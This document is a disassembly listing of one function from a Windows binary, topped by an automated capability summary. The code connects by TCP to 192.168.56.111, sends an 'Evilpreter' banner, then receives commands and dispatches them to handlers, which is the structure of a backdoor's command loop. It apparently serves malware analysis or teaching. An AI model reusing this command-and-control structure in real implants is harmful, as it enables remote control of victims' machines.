Function at 0x140002ee0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r12
push r13
push r15
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x580], rax
mov ecx, 0x202
lea rdx, [rbp - 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 2
mov edx, 1
mov ecx, ebx
mov r8d, 6
call qword [sym.imp.WS2_32.dll_socket]
movzx ecx, word [0x14000b0c8]
mov qword [0x14000ba20], rax
mov word [rbp - 0x30], bx
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp - 0x2c]
mov ecx, ebx
lea rdx, str.192.168.56.111
mov word [rbp - 0x2e], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov rcx, qword [0x14000ba20]
lea rdx, [rbp - 0x30]
xor r15d, r15d
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov r8d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov qword [rsp + 0x6c0], rdi
movabs r12, 0x7fffffffffffffff
mov qword [rsp + 0x6c8], r14
movabs r13, 0x8000000000000000
mov qword [rbp - 0x68], r15
mov eax, dword [0x1400076d0]
lea rdx, [rbp - 0x70]
movsd xmm0, qword [str.Evilpreter__]
xor r9d, r9d
mov rcx, qword [0x14000ba20]
mov r8d, recv
mov dword [rbp - 0x68], eax
mov esi, socket
movzx eax, byte [0x1400076d4]
mov byte [rbp - 0x64], al
mov qword [rbp - 0x60], recv
mov qword [rbp - 0x58], recv
movsd qword [rbp - 0x70], xmm0
mov byte [rbp - 0x63], r15b
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [0x14000ba20]
lea rdx, [rbp + 0x180]
xor r9d, r9d
mov r8d, 0x400
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400033fd
cdqe
dec rax
cmp rax, 0x400
jae 0x14000350a
xorps xmm0, xmm0
mov byte [rbp + rax + 0x180], r15b
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
lea rax, [rbp + 0x180]
mov qword [rsp + 0x70], r15
mov rbx, 0xffffffffffffffff
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], r15b
jne 0x140003070
cmp rbx, r12
ja 0x140003516
cmp rbx, 0xf
ja 0x1400030b4
mov r8, rbx
mov qword [rsp + 0x68], rbx
lea rdx, [rbp + 0x180]
mov qword [rsp + 0x70], recv
lea rcx, [rsp + 0x58]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x58], r15b
jmp 0x140003141
mov rdi, rbx
or rdi, 0xf
cmp rdi, r12
jbe 0x1400030c9
mov rdi, r12
lea rax, [r13 + 0x27]
jmp 0x1400030f5
cmp rdi, 0x16
cmovb rdi, rsi
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400030df
mov rsi, r15
jmp 0x14000311c
cmp rcx, 0x1000
jb 0x140003114
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003510
mov rcx, rax
call fcn.140004e90
test rax, rax
je 0x1400033f6
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000311c
call fcn.140004e90
mov rsi, rax
mov r8, rbx
mov qword [rsp + 0x58], rsi
lea rdx, [rbp + 0x180]
mov qword [rsp + 0x68], rbx
mov rcx, rsi
mov qword [rsp + 0x70], rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r15b
mov rsi, qword [rsp + 0x70]
lea rdi, [rsp + 0x58]
mov r14, qword [rsp + 0x58]
cmp rsi, 0xf
mov rbx, qword [rsp + 0x68]
cmova rdi, r14
test rbx, rbx
je 0x1400031ea
mov r8, rbx
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
je 0x1400031ea
sub rcx, rdi
cmp rcx, 0xffffffffffffffff
je 0x1400031ea
cmp rcx, rbx
ja 0x1400031a1
cmp rsi, 0xf
mov qword [rsp + 0x68], rcx
lea rax, [rsp + 0x58]
cmova rax, r14
mov byte [rcx + rax], r15b
jmp 0x1400031ea
mov rdi, rcx
mov rax, rsi
sub rdi, rbx
sub rax, rbx
cmp rdi, rax
ja 0x1400031da
cmp rsi, 0xf
mov qword [rsp + 0x68], rcx
lea rax, [rsp + 0x58]
mov r8, rdi
cmova rax, r14
xor edx, edx
add rbx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov byte [rbx + rdi], r15b
jmp 0x1400031ea
mov r9, rdi
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.1400036a0
xorps xmm0, xmm0
lea rdx, [rsp + 0x58]
xor eax, eax
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
call fcn.1400042b0
mov rcx, qword [rsp + 0x78]
cmp rcx, qword [rbp - 0x80]
je 0x140003312
mov rdx, rcx
lea rcx, [rbp - 0x50]
call fcn.140002570
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x40]
call fcn.140003fb0
mov rbx, qword [rsp + 0x50]
mov rdi, qword [0x14000ba28]
cmp byte [rbx + 0x19], r15b
jne 0x140003283
cmp qword [rbx + 0x38], 0xf
lea rdx, [rbx + 0x20]
jbe 0x140003251
mov rdx, qword [rbx + 0x20]
cmp qword [rbp - 0x38], 0xf
lea rcx, [rbp - 0x50]
mov r14, qword [rbx + 0x30]
mov rsi, qword [rbp - 0x40]
cmova rcx, qword [rbp - 0x50]
mov r8, rsi
cmp r14, rsi
cmovb r8, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000327e
js 0x140003283
jmp 0x140003286
cmp rsi, r14
jae 0x140003286
mov rbx, rdi
cmp rbx, rdi
je 0x140003295
lea rcx, [rsp + 0x78]
call qword [rbx + 0x40]
jmp 0x1400032d2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Unknown_command:
call fcn.140002940
cmp qword [rbp - 0x38], 0xf
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
mov rcx, rax
cmova rdx, qword [rbp - 0x50]
call fcn.140002cf0
lea rdx, [0x140002b20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14000330d
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003308
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400033ef
call fcn.140004ecc
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140003367
mov rdx, qword [rbp - 0x80]
call fcn.140003610
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x78]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140003355
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400033f6
call fcn.140004ecc
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r15
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x1400033a0
mov rcx, qword [rsp + 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000339b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400033f6
call fcn.140004ecc
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400033db
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033d6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003503
call fcn.140004ecc
xorps xmm0, xmm0
mov qword [rbp - 0x60], r15
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x58], r15
jmp 0x140002fb7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jne 0x1400034ad
lea rdx, [0x1400076d8]
call fcn.140002940
mov rcx, rax
lea rdx, [0x140002b20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140003461
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000345c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003503
call fcn.140004ecc
mov rcx, qword [0x14000ba20]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov r14, qword [rsp + 0x6c8]
xor eax, eax
mov rdi, qword [rsp + 0x6c0]
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.140004e70
mov rbx, qword [rsp + 0x6d0]
add rsp, 0x690
pop r15
pop r13
pop r12
pop rsi
pop rbp
ret
lea rdx, [0x1400076f0]
call fcn.140002940
mov rcx, rax
lea rdx, [0x140002b20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140003461
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000345c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000345c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005008
int3
call fcn.140001330
int3
call fcn.1400013d0
int3